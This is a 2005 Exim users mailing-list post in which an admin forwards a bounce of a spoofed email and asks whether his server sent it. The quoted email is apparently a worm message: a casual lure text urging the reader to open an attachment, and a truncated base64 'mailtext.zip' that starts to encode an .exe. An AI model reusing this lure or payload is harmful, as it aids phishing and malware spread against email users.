[exim] FW: Undeliverable Mail

Top Page
Delete this message
Reply to this message
Author: Robert Cates
Date:  
To: Exim, Users
Subject: [exim] FW: Undeliverable Mail
Hi,

I've just recieved this mail, and do not know how this even happened. I'm
finally getting my Exim 4.54 server configured to work well and protected
(at leased I thought), but today I get mail like this one (also one where I
supposedly sent mail to sales@???, but from a different @kormar.net
address).

How is this happening, and what can/should I do to my configuration to stop
it? Actually, is it even coming from my server? I mean, I don't think so,
but I do not know enough to be able to really tell. I tried to grep
'isellsurplus.com' in my log file for 26/27 Nov., but it returned nothing.
Is that sign enough that the mail was not sent through my server?

Thanks in advance to all of you for your help!
Robert


-----Original Message-----
From: postmaster@???
[mailto:postmaster@milton.aspiresite.com]
Sent: Samstag, 26. November 2005 22:16
To: robert@???
Subject: Undeliverable Mail


undeliverable to noone@???


Original message follows.

Received: from rcqsyep.net [67.8.174.175] by milton.aspiresite.com
(SMTPD32-8.15) id AF091180116; Sat, 26 Nov 2005 22:15:37 -0800
From: robert@???
To: XPost4355@???
Date: Sun, 27 Nov 2005 05:35:35 UTC
Subject: hi, ive a new mail address
Importance: Normal
X-Priority: 3 (Normal)
Message-ID: <dae9ef6cbce5a374@???>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="======cd8ea7c8a3ec14e0.b8f2fb"
Content-Transfer-Encoding: 7bit
This is a multi-part message in MIME format.

--======cd8ea7c8a3ec14e0.b8f2fb

hey its me, my old address dont work at time. i dont know why?!
in the last days ive got some mails. i' think thaz your mails but im not
sure!

plz read and check ...
cyaaaaaaa
--======cd8ea7c8a3ec14e0.b8f2fb
Content-Type: application/octet-stream; name=mailtext.zip
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="mailtext.zip"

UEsDBAoAAAAAAACQdjPMyus3XtgAAF7YAAAYAAAARmlsZS1wYWNrZWRfZGF0YUluZm8uZXhlTVqQ
AAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
yAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUu
DQ0KJAAAAAAAAABd+8faGZqpiRmaqYkZmqmJmoaniRiaqYlwhaCJHJqpiQmFpIkYmqmJUmljaBma
qYkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABQRQAATAEDAOVIXUMAAAAAAAAAAOAADwELAQYAANAA
AAAQAAAAQAIA0BkDAABQAgAAIAMAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAAAwAwAAEAAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAEAiAwCcAAAAACADAEACAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAC
AAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOAAAAAAAAAAAADQAAAAUAIAAMwAAAAEAAAAAAAA
AAAAAAAAAABAAADgLnJzcmMAAAAAEAAAACADAAAEAAAA0AAAAAAAAAAAAAAAAAAAQAAAwAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[message truncated]